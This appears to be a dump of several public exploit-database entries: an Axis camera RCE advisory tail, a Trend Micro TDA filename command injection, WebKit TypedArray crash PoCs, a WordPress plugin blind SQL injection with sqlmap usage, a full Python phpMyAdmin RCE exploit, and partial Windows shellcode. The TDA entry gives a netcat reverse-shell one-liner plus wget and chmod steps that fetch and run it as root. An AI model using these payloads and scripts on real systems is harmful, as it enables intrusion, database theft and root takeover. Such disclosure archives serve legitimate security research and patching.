* AXIS A8004-VE Network Video Door Station -
Firmware 5.85.1.1
* AXIS P3384 fixed dome Network camera -
Firmware 6.10.1
* AXIS P5532-E PTZ Dome Network Camera -
Firmware 5.41.3.1
* AXIS Q60-E Network Dome PTZ -
Firmware 5.65.1.1, 5.41.*, 5.70.1.1
* AXIS Q7401 Video Encoder -
Firmware 5.50.4
* AXIS Q7404 Video Encoder -
Firmware 5.50.4.*
* AXIS Q7406 Blade Video Encoder -
Firmware 5.51.2
* AXIS Q7411 Video Encoder -
Firmware 5.90.1
* AXIS Q7414 Blade Video Encoder -
Firmware 5.51.2
* AXIS Q7424-R Video Encoder -
Firmware 5.50.4
* AXIS Q7424-R Mk II Video Encoder -
Firmware 5.51.3
* AXIS Q7436 Blade Video Encoder -
Firmware 5.90.1
The list bellow shows the firmwares affected (and probably these firmwares
are not available anymore, but just the last version of them, if you not
sure, check the hash). All these firmwares (in the second column) has the
same "devtools.sh" shellscript (responsible for trigger the RCE
vulnerability) embedded. The script can be found on directory:
"{HTMLROOT}/bin/devtools.sh".
========================================================================
PRODUCT FIRMWARE FIRMWARE HASH
========================================================================
AXIS A8004-VE 5.85.1.1 e666578d7fca54a7db0917839187cd1a
AXIS A8004-VE 5.85.1 50f114d1169f6fe8dbdadd89ad2e087d
AXIS F34 5.85.3 7a6ed55038edd8a2fc0f676fb8a04b10
AXIS F41 5.85.3 8a089a51a0ecd63543c7883c76db7921
AXIS F44 5.85.3 9e3b05625cfe6580ca3e41c5415090e7
AXIS M1013 5.50.5.4 231cdd7ba84a383ba7f2237612b1cc12
AXIS M1014 5.50.5.4 231cdd7ba84a383ba7f2237612b1cc12
AXIS M1025 5.50.5.4 90d59c56171402828fceb7d25b18be2e
AXIS M1033-W 5.50.5.4 7b96dd594f84fc8c3a4a3ab650434841
AXIS M1034-W 5.50.5.4 7b96dd594f84fc8c3a4a3ab650434841
AXIS M1054 5.50.3.4 39e279aa2c462e9ec01c7b90f698f76a
AXIS M1103 5.50.3 c10243b05fe30655ded7a12b998dbf5e
AXIS M1104 5.50.3 c10243b05fe30655ded7a12b998dbf5e
AXIS M1113 5.50.3 c10243b05fe30655ded7a12b998dbf5e
AXIS M1114 5.50.3 c10243b05fe30655ded7a12b998dbf5e
AXIS M1124 5.75.3.3 f53e0ada9f2e54d2717bf8ad1c7a5928
AXIS M1125 5.75.3.3 f53e0ada9f2e54d2717bf8ad1c7a5928
AXIS M1143-L 5.60.1.5 367aab0673fc1dec0b972fd80a62e75b
AXIS M1144-L 5.60.1.5 367aab0673fc1dec0b972fd80a62e75b
AXIS M1145 5.90.1 ece8f4ccd9d24a01d382798cb7e4a7c7
AXIS M1145-L 5.90.1 ece8f4ccd9d24a01d382798cb7e4a7c7
AXIS M2014 5.50.6 3ffe1a771565b61567f917621c737866
AXIS M3004 5.50.5.4 d65545ef6c03b33b20bf1a04e8216a65
AXIS M3005 5.50.5.4 b461fb6e6aab990d3650b48708cee811
AXIS M3006 5.70.1.2 b2864dcf48ac83053ba4516a2bda535e
AXIS M3007 5.75.1.1 a0cc2e9a6ddad758b16f7de518080f70
AXIS M3014 5.40.9.5 01d8917c9e60dde7741c4a317044b2f7
AXIS M3024-LVE 5.50.5.4 0b91bb66d37e208e130c7eb25099817b
AXIS M3025-VE 5.50.5.4 751f776668d340edf4149dc116ce26c6
AXIS M3026 5.70.1.2 3e78ce4badf994f6d10c5916b6d5513d
AXIS M3027 5.75.1.1 6d377ea9ea99068e910b416ccc73d8ca
AXIS M3037 5.75.1.1 ef69c662079018e19e988663ad1fc509
AXIS M3113-R 5.40.9.4 8d3eac43ad5c23626b75d5d7c928e29d
AXIS M3113-VE 5.40.9.4 8d3eac43ad5c23626b75d5d7c928e29d
AXIS M3114-R 5.40.9.4 8d3eac43ad5c23626b75d5d7c928e29d
AXIS M3114-VE 5.40.9.4 8d3eac43ad5c23626b75d5d7c928e29d
AXIS M3203 5.50.3.1 7da467702db8b0e57ea5d237bd10ab61
AXIS M3204 5.50.3.1 7da467702db8b0e57ea5d237bd10ab61
AXIS M5013 5.50.3.1 9183b9ac91c3c03522f37fce1e6c2205
AXIS M5014 5.50.3.1 9183b9ac91c3c03522f37fce1e6c2205
AXIS M7010 5.50.4.1 84f618087151b0cc46398a6e0c6ebc0d
AXIS M7011 5.90.1 362658a55d4f2043ed435c72588bd7e7
AXIS M7014 5.50.4.1 84f618087151b0cc46398a6e0c6ebc0d
AXIS M7016 5.51.2.3 b3de957bbca166f145969a6884050979
AXIS P1204 5.50.6 3ffe1a771565b61567f917621c737866
AXIS P1214 5.50.6 3ffe1a771565b61567f917621c737866
AXIS P1224 5.50.6 3ffe1a771565b61567f917621c737866
AXIS P1343 5.40.9.8 9bbd08a92881b1b07e9f497a436b6a60
AXIS P1344 5.40.9.8 9bbd08a92881b1b07e9f497a436b6a60
AXIS P1346 5.40.9.6 c89ee1e7c54b4728612277e18be1c939
AXIS P1347 5.40.9.6 f0f95768e367c3a2a8999a0bd8902969
AXIS P1353 5.60.1.5 0f59d0e34301519908754af850fdfebb
AXIS P1354 5.90.1 120c230067b7e000fa31af674f207f03
AXIS P1355 5.60.1.5 5dbec1d7b8b6f337581da6ec668a9aad
AXIS P1357 5.90.1 d83472c4d545763e5b05cd6d0c63430f
AXIS P1364 5.85.4 2db00322be0b8c939c89fe4f3e0fd67d
AXIS P1365 5.75.3.2 1eba3426b2046e696d80ea253fe5e9b6
AXIS P1405 5.80.1.1 4db97061feb3cf91eb0cded516f9c5af
AXIS P1425 5.80.1.1 e9213ed81dc68f07c854a990889995ba
AXIS P1427 5.80.1.1 dfe4cd28b929e78d42e8fc8c98616a7c
AXIS P1428-E 5.80.1.1 7a65a0b0e4050824de0d46a1725ad0ea
AXIS P1435 5.85.4.1 219467e77dcb3195d7203a79ecd30474
AXIS P3214 6.10.1 00fca61c0a97dfc5e670a308cbda14d4
AXIS P3215 6.10.1 00fca61c0a97dfc5e670a308cbda14d4
AXIS P3224 6.10.1.1 5fae8852b7790cf6f66bb2356c60acd6
AXIS P3225 6.10.1.1 5fae8852b7790cf6f66bb2356c60acd6
AXIS P3301 5.40.9.4 27b7a421f7e3511f3a4b960c80b42c56
AXIS P3304 5.40.9.4 df9e2159c4eadf5e955863c7c5691b1a
AXIS P3343 5.40.9.8 dd752099f8b2c48b91914ec32484f532
AXIS P3344 5.40.9.8 dd752099f8b2c48b91914ec32484f532
AXIS P3346 5.50.3.1 d30498356187ba44f94f31398b04a476
AXIS P3353 5.60.1.4 fa4924480563924a0365268f8eef8864
AXIS P3354 6.10.1 d2f317d88dea1f001ce8151106e0322b
AXIS P3363 5.60.1.5 4b3175a30893a270e5dca8fc405b5d7e
AXIS P3364 6.10.1 6128c6ba026a68a5759b08971504807e
AXIS P3365 6.10.1 f26b0616c595622abb17ce4411dee2b2
AXIS P3367 6.10.1 8dad67aae2ffaee6fb147d6942476f00
AXIS P3384 6.10.1 138ff1bdc97d025f8f31a55e408e2a1d
AXIS P3904-R 5.80.1 0b420fa6e8b768cafd6fa6b5920883be
AXIS P3905-R 5.80.1 0b420fa6e8b768cafd6fa6b5920883be
AXIS P3915-R 5.80.1 1dcf4a39c7e7349629ade723f563e892
AXIS P5414-E 5.90.1 f5782c5dbe8dcffd7863b248a55682ee
AXIS P5415-E 5.90.1 f5782c5dbe8dcffd7863b248a55682ee
AXIS P5512 95.50.4.2 a2d5aab90d51af80d924bb3cc8b249fc
AXIS P5512-E 5.50.4.2 4fd5d721e27fe0f4db7d652bd1730749
AXIS P5514-E 5.85.3 b1fc3d26f6293b94f042ac6ea3aa8271
AXIS P5515 5.85.3 99b2512b57ed8a12c6ad2e53adc8acf8
AXIS P5515-E 5.85.3 639388e504a0841cad2eee7374476727
AXIS P5522 5.50.4.3 8335552031bc297ce87666542f0e3106
AXIS P5522-E 5.50.4.2 218e1b6997f0e5338f86f0ed1b12f8a0
AXIS P5532 5.41.3.1 b1ab3dd8ed126dd68b4793dec9bf3698
AXIS P5532-E 5.41.3.1 f6322413687d169dce61459d8338a611
AXIS P5534 5.40.9.5 3b94922050bec9bc436dce3fcd9bcfaf
AXIS P5534-E 5.40.9.6 a931bc58ee0e882b359dbecd3d699c52
AXIS P5544 5.41.2.2 cb5bcec36f839914db93eaf17ae83e5e
AXIS P5624-E 5.75.1.1 b93952a6083aa628026f145a1dffa313
AXIS P5635-E 5.75.1.1 24d32e4fab54f16b5698ff4e477fc188
AXIS P7210 5.50.4.1 b0e19f8837754ac73aa146b5710a12b1
AXIS P7214 5.50.4.1 b0e19f8837754ac73aa146b5710a12b1
AXIS P7216 5.51.2.1 a77e96832f7d87970bf286288ce2ca81
AXIS P7224 5.51.2.1 5d5ecf065f456e66eb42d9360d22f863
AXIS P8514 5.40.9.4 8d3eac43ad5c23626b75d5d7c928e29d
AXIS Q1615 5.80.1.3 8d95c0f9f499f29fcfb95419b629ab44
AXIS Q1635 5.80.1.3 8d95c0f9f499f29fcfb95419b629ab44
AXIS Q1635-E 5.80.1.3 8d95c0f9f499f29fcfb95419b629ab44
AXIS Q1755 5.50.4.1 6ca8597f48ed122ce84c2172c079cdf9
AXIS Q1765-LE 5.90.1.1 7930bf5c4c947f2f948f8b7475f01409
AXIS Q1765-LE-PT 5.90.1.1 890ba75a8108d97f2ef1a4aecedf76b1
AXIS Q1775 5.85.3 f47bc9d46a913561e42b999cc6697a83
AXIS Q1910 5.50.4.1 71525d4d56d781318b64e8200806dcf0
AXIS Q1921 5.50.4.1 82f956fec96a9068941e24e12045cefd
AXIS Q1922 5.50.4.1 111a1a4f823e7281af1c872ba52f73c4
AXIS Q1931-E 5.75.1.3 5cf13a2c3d65644c3376ec6466dd9b49
AXIS Q1931-E-PT-Mount5.75.1.1 3ba7e187dc25e98ab73aef262b68e1b9
AXIS Q1932-E 5.75.1.2 b8efe54fc3eca7f2a59322779e63e8e1
AXIS Q1932-E PT.Mount5.75.1 513fc031f85542548eeccfeaa7c1a29e
AXIS Q2901-E 5.55.4.1 d2945717297edab3326179541cfa0688
AXIS Q2901-E PT.Mount5.55.4.1 a41aed45359f11d2ec248419c124a52d
AXIS Q3505 5.80.1.4 9394b3577bdb17cb9f74e56433a0e660
AXIS Q3709-PVE 5.75.1.1 e9fb87337c0a24139a40459336f0bcb3
AXIS Q6000-E 5.65.1.1 b97df19057db1134a43c26f5ddf484de
AXIS Q6032 5.41.1.2 8caad5cd7beeebaf5b05b011b8a1e104
AXIS Q6032-C 5.41.3 58213a4b1c7a980dcb3b54bbee657506
AXIS Q6032-E 5.41.1.4 b4aa977b254694b5d14d7e87e5652a6b
AXIS Q6034 5.41.1.1 4f44a8661534bac08a50651ee90a7d47
AXIS Q6034-C 5.41.3 25d455dc2e2d11639f29b0b381ddd7cb
AXIS Q6034-E 5.41.1.2 3bfab61354170e42ce27fc2477d57026
AXIS Q6035 5.41.1.2 9d124d096bf48fbfd2e11c34de3c880d
AXIS Q6035-C 5.41.3 42d23ae4d0b1456cc54e54734a586d53
AXIS Q6035-E 5.41.1.5 e2123a9e37fda4044847c810b7f25253
AXIS Q6042 5.70.1.1 4f253ed4bb0efaa4a845e0e9bd666766
AXIS Q6042-C 5.70.1.1 21bd154f706091b348c33dd9564438da
AXIS Q6042-E 5.70.1.2 9d5dc03268638498d0299bf466fa0501
AXIS Q6042-S 5.70.1.1 085fc5903d99899d78b48abb9cafdecd
AXIS Q6044 5.70.1.1 29e4cdb9ba2f18953512c5d1e17229c1
AXIS Q6044-C 5.70.1.1 dc3fc472b88e07278e6ff82eaee71a8d
AXIS Q6044-E 5.70.1.2 83d1e6c1fe5aa9c26710eed03721f928
AXIS Q6044-S 5.70.1.1 654ffd048fdb41ae3c86da4f41e2a31d
AXIS Q6045 5.70.1.1 2db9b247729e9487f476a35a6dd456ce
AXIS Q6045-C 5.70.1.1 9bb561126e2b4f69ac526cfccdf254f6
AXIS Q6045-C-MkII 5.70.1.1 2c9efccb0fba0e63fc4fff73e6ba0fea
AXIS Q6045-E 5.70.1.2 321a5d906863787fdc5e34483e6ec2a8
AXIS Q6045-E-MkII 5.70.1.2 d9d4242a83b1ed225dd3c20530da034d
AXIS Q6045-MkII 5.70.1.1 686f0fe8727e2a726091c9ddf3827741
AXIS Q6045-S 5.70.1.1 43473e42f360efb4ea6f84da35fd9746
AXIS Q6045-S-Mk-II 5.70.1.1 d747a5a3d69264af8448f72822e8d60b
AXIS Q6114-E 5.65.2.1 8cb9a3a88c79ebb2cf5def3cda0da148
AXIS Q6115-E 5.65.2.1 7d2dd3410ce505cd04a1c182917523a5
AXIS Q6128-E 5.85.2.1 49508ff56508f809a75d367896e8d56f
AXIS Q7401 5.50.4 99855c6c9777fdd5fc5e58349ae861a5
AXIS Q7404 5.50.4.2 ffdbee7c9daad303e89a432ba9c4711d
AXIS Q7404 5.50.4 6e31e9709cf9717968c244267aa8c6d0
AXIS Q7406 5.51.2 3cdb7935278157b9c91c334613012b1e
AXIS Q7411 5.90.1 26893adedcfc1953829084e8e7c3fbdd
AXIS Q7414 5.51.2 8ff659a8db077b545205f56dfef217d4
AXIS Q7424-R 5.50.4 d570ef1886c84ab53934fc51385e8aa7
AXIS Q7424-R-MkII 5.51.3 964a13f6b1aef17562cbbde11d936dee
AXIS Q7436 5.90.1 8fe1ef95b231bf6f771c3edc0fbc8afd
AXIS Q8414-LVS 6.10.1 9529cd9cf3b3bd66bec22c0b1c7448cd
AXIS Q8631-E 5.75.1 c7f882afc268ca3d60d07d5770db6a51
AXIS Q8632-E 5.75.1 f01d9a86d21335fe3d78e634858b9e77
AXIS Q8665-LE 5.90.1.1 1549b56d34250a93bbcf7b24b4f63699
AXIS V5915 5.75.1.1 a1c39a9cd545091825001a831d0c1ea4
Vendor Information, Solutions and Workarounds
+++++++++++++++++++++++++++++++++++++++++++++
According to the Vendor, tickets was opened to correct this issue.
Credits
+++++++
These vulnerabilities has been discovered and published by Orwelllabs.
Timeline
++++++++
2015-09-10: First attempt to contact Vendor
2015-10-30: Vulnerability was reported to CERT
2015-11-30: CVE-IDs are assigned
2016-07-25: Since the first vulnerability was published (09.04.2016 -
EDB-ID: 39683)
a long conversation revolved around these vulnerabilities with the
manufacturer.
We maintained communication since 15/04/2016 until now.
As there is still disagreement regarding vulnerabilities (and botnets in
the wild: https://goo.gl/k79I8u),
we thought it good to publish this advisory, since it has already exhausted
all deadlines.
Legal Notices
+++++++++++++
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise. We accept no
responsibility for any damage caused by the use or misuse of this
information.
About Orwelllabs
++++++++++++++++
# Loadind k4fK43sQu3 m0dule...

54
platforms/linux/webapps/40180.txt Executable file
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Version: TDA 2.6.1062r1
Summary:
The hotfix_upload.cgi file contains a flaw allowing a user to execute commands under the context of the root user.
Details:
The hotfix_upload.cgi file is used to upload files (hot fixes). Below is a sample of the upload function being used:
POST /cgi-bin/hotfix_upload.cgi?sID=hotfix_temp HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: https://<server IP>/cgi-bin/hotfix_history.cgi
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Content-Type: multipart/form-data; boundary=—————————7e0823930136
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: <server IP>
Content-Length: 206
Connection: close
Cache-Control: no-cache
Cookie: session_id=
—————————–7e0823930136
Content-Disposition: form-data; name=”ajaxuploader_file”; filename=”test.txt”
Content-Type: text/plain
a
—————————–7e0823930136–
The actual injection takes place in the name of the file being uploaded (ie. filename=”test.txt&id”). By performing the following request, system information is sent back in the response:
http://www.korpritzombie.com/wp-content/uploads/2016/07/1.png
This gives any user the ability to execute simple non interactive commands. However, more complex (including remote shell) commands are possible.
Special characters like ‘/’,'<‘,’>’ are not sent across to the server. But utilizing the environment itself, it becomes possible to insert characters like the ‘/’. Below is an example of a user using this method to retrieve the /etc/passwd file (NOTE: `echo $PATH | cut -c1` will print ‘/‘ to the final command):
http://www.korpritzombie.com/wp-content/uploads/2016/07/2.png
Now the attacker has the ability to create a shell by uploading a file containing the following (where [ip address] is your receiving machine):
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [ip address] 5555 >/tmp/f
To upload the file, the attacker simply names this file to shell, then uploads using this vulnerability and wget:
test.txt&wget http:`echo $PATH | cut -c1“echo $PATH | cut -c1`[ip]`echo $PATH | cut -c1`shell
Once the file has been uploaded (it will be placed in /opt/TrendMicro/MinorityReport/www/cgi-bin), the attacker can chmod and then execute the file as a script, creating a reverse shell, running as root:
test.xml&chmod a+x shell
test.xml&.`echo $PATH | cut -c1`shell

60
platforms/multiple/dos/40183.html Executable file
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<!--
There is a bug in TypedArray.fill that can be used to write to an absolute pointer.
In JavaScriptCore/runtime/JSGenericTypedArrayViewPrototypeFunctions.h, the function genericTypedArrayViewProtoFuncFill contains the following code:
unsigned length = thisObject->length();
unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 1, length);
unsigned end = argumentClampedIndexFromStartOrEnd(exec, 2, length, length);
if (end < begin)
return JSValue::encode(exec->thisValue());
if (!thisObject->setRangeToValue(exec, begin, end, valueToInsert))
return JSValue::encode(jsUndefined());
argumentClampedIndexFromStartOrEnd will call valueOf on a parameter to the fill function, which can contain a function that neuters the this array, causing the pointer used by setRangeToValue to be null. However, the begin and end variables can be very large values, up to 0x7fffffff, which could be valid pointers on ARM and 32-bit platforms. This allows an absolute pointer in this range to be written to.
An HTML file demonstrating this issue is attached. This issue affects Safari Technology Preview and WebKit, but has not made it into production Safari yet (TypedArray.fill is not supported).
Note that there are three places that code can be excuted after the neutered check in this function, the begin and end parameter, and the value, which is converted in setRangeToValue. To fix this issue, a check needs to be performed after the value has been converted.
-->
<html>
<body>
<script>
function f(){
try{
alert("t");
postMessage("test", "http://127.0.0.1", [q])
alert(a.byteLength);
alert(q.byteLength);
} catch(e){
alert(e.message);
alert(a.byteLength)
alert(q.byteLength);
}
return 0x12345678;
}
alert(Date);
var q = new ArrayBuffer(0x7fffffff);
var o = {valueOf : f}
var a = new Uint8Array(q);
// alert(q.byteLength);
var t = [];
try{
a.fill(0x12, o, 0x77777777);
} catch(e){
alert(e.message);
}
</script>
</body>
</html>

56
platforms/multiple/dos/40184.html Executable file
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<!--
There is a bug in TypedArray.copyWithin that can be used to write to an absolute pointer.
In JavaScriptCore/runtime/JSGenericTypedArrayViewPrototypeFunctions.h, the function genericTypedArrayViewProtoFuncCopyWithin contains the following code:
long length = thisObject->length();
long to = argumentClampedIndexFromStartOrEnd(exec, 0, length);
long from = argumentClampedIndexFromStartOrEnd(exec, 1, length);
long final = argumentClampedIndexFromStartOrEnd(exec, 2, length, length);
if (final < from)
return JSValue::encode(exec->thisValue());
long count = std::min(length - std::max(to, from), final - from);
typename ViewClass::ElementType* array = thisObject->typedVector();
memmove(array + to, array + from, count * thisObject->elementSize);
argumentClampedIndexFromStartOrEnd will call valueOf on a parameter to the copyWithin function, which can contain a function that neuters the this array, causing the variable "array" to be null. However, the "to" and "from" variables can be very large values, up to 0x7fffffff, which could be valid pointers on ARM and 32-bit platforms. This allows an absolute pointer in this range to be written to.
An HTML file demonstrating this issue is attached. This issue affects Safari Technology Preview and WebKit, but has not made it into production Safari yet (TypedArray.copyWithin is not supported).
-->
<html>
<body>
<script>
function f(){
try{
alert("t");
postMessage("test", "http://127.0.0.1", [q])
alert(a.byteLength);
alert(q.byteLength);
} catch(e){
alert(e.message);
alert(a.byteLength)
alert(q.byteLength);
}
return 0x22345678;
}
alert(Date);
var q = new ArrayBuffer(0x7fffffff);
var o = {valueOf : f}
var a = new Uint8Array(q);
// alert(q.byteLength);
var t = [];
a.copyWithin(0x12345678, o, 0x32345678);
</script>
</body>
</html>

100
platforms/php/webapps/40174.txt Executable file
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# Exploit Title: Wordpress Ultimate-Product-Catalog <= 3.9.8 (do_shortcode via ajax) Unsanitized shortcode attributes - Unauthenticated Blind SQL Injection
# Date: 2016-07-28
# Google Dork: "Index of /wp-content/plugins/ultimate-product-catalogue/"
# Exploit Author: Joaquin Ramirez Martinez [ i0 SEC-LABORATORY ]
# Vendor Homepage: http://www.EtoileWebDesign.com/
# plugin uri: http://www.EtoileWebDesign.com/ultimate-product-catalogue/
# Software Link:
# Version: <=3.9.8
# Tested on: windows 7 + firefox.
====================
DESCRIPTION
====================
A vulnerability has been discvered in the wordpress Ultimate Product Catalog by affecting v3.9.8 and below (tested).
Due to a unsanitized parameters passed to the shorcode function `Insert_Product_Catalog` [ "product-catalogue" ]
located in `/Funtions/Shortcodes.php` line 4:
function Insert_Product_Catalog($atts) {
// Select the catalogue information from the database
...
$Catalogue = $wpdb->get_row("SELECT * FROM $catalogues_table_name WHERE Catalogue_ID=" . $id);
$CatalogueItems = $wpdb->get_results("SELECT * FROM $catalogue_items_table_name WHERE Catalogue_ID=" . $id . " ORDER BY Position");
...
return $ProductString;
}
The $id parameter is extracted with `extract` function from $atts. This is a vulnerability with which can be exploited by creating shortcodes with
malicious attributes, exploitable only by administrators, editors, authors. But in file `/Functions/Process_Ajax.php` line 113...
function UPCP_Filter_Catalogue() {
$Path = ABSPATH . 'wp-load.php';
include_once($Path);
$id = $_POST['id']; <-- we can control this value!!
...
echo do_shortcode("[product-catalogue id='" . $id . "' only_inner='Yes' starting_layout='" . $start_layout . "' excluded_layouts='" . $exclude_layouts . "' current_page='" . $current_page . "' ajax_reload='" . $ajax_reload . "' ajax_url='" . $ajax_url . "' request_count='" . $request_count . "' category='" . $Category . "' subcategory='" . $SubCategory . "' tags='" . $Tags . "' custom_fields='" . $Custom_Fields . "' prod_name='" . $Prod_Name . "' min_price='" . $Min_Price . "' max_price='" . $Max_Price . "']");
}
This is interesting because that function calls `do_shortcode` executing the shortcode 'product-catalogue' as a result, this calls `Insert_Product_Catalog` wich
I found the SQLi, now we need to found a place where ` UPCP_Filter_Catalogue` is called and in line 138-139 i found...
...
add_action('wp_ajax_update_catalogue', 'UPCP_Filter_Catalogue');
add_action( 'wp_ajax_nopriv_update_catalogue', 'UPCP_Filter_Catalogue');
...
this means that we can execute that function only with a request to `/wp-admin/admin-ajax.php?action=update_catalogue` and send the vulnerable $id parameter
with our custom payload. Note that `wp_ajax_nopriv` prefix makes this vulnerability exploitable by unauthenticated users.
Example:
http://<wp-host>/<wp-path>/wp-admin/admin-ajax.php?action=update_catalogue
POSTDATA: id=0+or+(our+custom+select+here)+--
An attacker can exploit this vulnerability and compromise all user records or take over control of the host machine.
==============
POC
==============
-----------------
//REQUEST
------------------
POST /wordpress/wp-admin/admin-ajax.php?action=update_catalogue HTTP/1.1
Host: localhost
Content-Length: 21
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es;q=0.8
Cookie:
id=1+OR+SLEEP(10)+--+
--------------------------
EXPLOITING WITH SQLMAP
------------------------
sqlmap --url="http://<wp-host>/<wp-path>/wp-admin/admin-ajax.php?action=update_catalogue" --data="id=1" --level=5 --risk=3 --technique=B -p id --dbs --dbms=mysql
(listing all available databases)
==================================
time-line
===================================
2016-07-28: reported to vendor.
2016-07-28: vendor released plugin version 3.9.9. saying in changelog "Minor ajax update to switch to a prepared statement".
2016-07-29: public disclousure.
===================================

119
platforms/php/webapps/40185.py Executable file
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#!/usr/bin/env python
"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""
import requests
import argparse
import sys
__author__ = "@iamsecurity"
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("url", type=str, help="URL with path to PMA")
parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
arguments = parser.parse_args()
url_to_pma = arguments.url
uname = arguments.user
upass = arguments.pwd
if arguments.dbs:
db = arguments.dbs
else:
db = "test"
token = False
custom_table = False
if arguments.table:
custom_table = True
table = arguments.table
else:
table = "prgpwn"
if arguments.cmd:
payload = arguments.cmd
else:
payload = "system('uname -a');"
size = 32
s = requests.Session()
# you can manually add proxy support it's very simple ;)
# s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
s.verify = False
sql = '''CREATE TABLE `{0}` (
`first` varchar(10) CHARACTER SET utf8 NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
'''.format(table)
# get_token
resp = s.post(url_to_pma + "/?lang=en", dict(
pma_username=uname,
pma_password=upass
))
if resp.status_code is 200:
token_place = resp.text.find("token=") + 6
token = resp.text[token_place:token_place + 32]
if token is False:
print("Cannot get valid authorization token.")
sys.exit(1)
if custom_table is False:
data = {
"is_js_confirmed": "0",
"db": db,
"token": token,
"pos": "0",
"sql_query": sql,
"sql_delimiter": ";",
"show_query": "0",
"fk_checks": "0",
"SQL": "Go",
"ajax_request": "true",
"ajax_page_request": "true",
}
resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
if resp.status_code == 200:
if "success" in resp.json():
if resp.json()["success"] is False:
first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
error = first[:first.find("</code>")]
if "already exists" in error:
print(error)
else:
print("ERROR: " + error)
sys.exit(1)
# build exploit
exploit = {
"db": db,
"table": table,
"token": token,
"goto": "sql.php",
"find": "0/e\0",
"replaceWith": payload,
"columnIndex": "0",
"useRegex": "on",
"submit": "Go",
"ajax_request": "true"
}
resp = s.post(
url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
)
if resp.status_code == 200:
result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
if len(result):
print("result: " + result)
sys.exit(0)
print(
"Exploit failed!\n"
"Try to manually set exploit parameters like --table, --database and --token.\n"
"Remember that servers with PHP version greater than 5.4.6"
" is not exploitable, because of warning about null byte in regexp"
)
sys.exit(1)

583
platforms/win_x86/shellcode/40175.c Executable file
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/*
# Title : Windows x86 localhost port scanner shellcode
# Date : 29-07-2016
# Author : Roziul Hasan Khan Shifat
# Tested on : Windows 7 x86 starter
*/
/*
Disassembly of section .text:
00000000 <_start>:
0: 31 db xor %ebx,%ebx
2: 64 8b 43 30 mov %fs:0x30(%ebx),%eax
6: 8b 40 0c mov 0xc(%eax),%eax
9: 8b 70 14 mov 0x14(%eax),%esi
c: ad lods %ds:(%esi),%eax
d: 96 xchg %eax,%esi
e: ad lods %ds:(%esi),%eax
f: 8b 58 10 mov 0x10(%eax),%ebx
12: 31 d2 xor %edx,%edx
14: 8b 53 3c mov 0x3c(%ebx),%edx
17: 01 da add %ebx,%edx
19: 8b 52 78 mov 0x78(%edx),%edx
1c: 01 da add %ebx,%edx
1e: 8b 72 20 mov 0x20(%edx),%esi
21: 01 de add %ebx,%esi
23: 31 c9 xor %ecx,%ecx
00000025 <getp>:
25: 41 inc %ecx
26: ad lods %ds:(%esi),%eax
27: 01 d8 add %ebx,%eax
29: 81 38 47 65 74 50 cmpl $0x50746547,(%eax)
2f: 75 f4 jne 25 <getp>
31: 81 78 04 72 6f 63 41 cmpl $0x41636f72,0x4(%eax)
38: 75 eb jne 25 <getp>
3a: 81 78 08 64 64 72 65 cmpl $0x65726464,0x8(%eax)
41: 75 e2 jne 25 <getp>
43: 8b 72 1c mov 0x1c(%edx),%esi
46: 01 de add %ebx,%esi
48: 8b 14 8e mov (%esi,%ecx,4),%edx
4b: 01 da add %ebx,%edx
4d: 31 f6 xor %esi,%esi
4f: 89 d6 mov %edx,%esi
51: 89 df mov %ebx,%edi
53: 31 c9 xor %ecx,%ecx
55: 68 6c 6f 63 41 push $0x41636f6c
5a: 88 4c 24 03 mov %cl,0x3(%esp)
5e: 68 61 6c 41 6c push $0x6c416c61
63: 68 47 6c 6f 62 push $0x626f6c47
68: 54 push %esp
69: 53 push %ebx
6a: ff d2 call *%edx
6c: 83 c4 0c add $0xc,%esp
6f: 31 c9 xor %ecx,%ecx
71: b1 20 mov $0x20,%cl
73: 51 push %ecx
74: 31 c9 xor %ecx,%ecx
76: 51 push %ecx
77: ff d0 call *%eax
79: 89 f1 mov %esi,%ecx
7b: 89 c6 mov %eax,%esi
7d: 89 0e mov %ecx,(%esi)
7f: 31 c9 xor %ecx,%ecx
81: 68 65 65 41 41 push $0x41416565
86: 88 4c 24 02 mov %cl,0x2(%esp)
8a: 68 61 6c 46 72 push $0x72466c61
8f: 68 47 6c 6f 62 push $0x626f6c47
94: 54 push %esp
95: 57 push %edi
96: 8b 16 mov (%esi),%edx
98: ff d2 call *%edx
9a: 83 c4 0c add $0xc,%esp
9d: 89 46 04 mov %eax,0x4(%esi)
a0: 31 c9 xor %ecx,%ecx
a2: 51 push %ecx
a3: 68 61 72 79 41 push $0x41797261
a8: 68 4c 69 62 72 push $0x7262694c
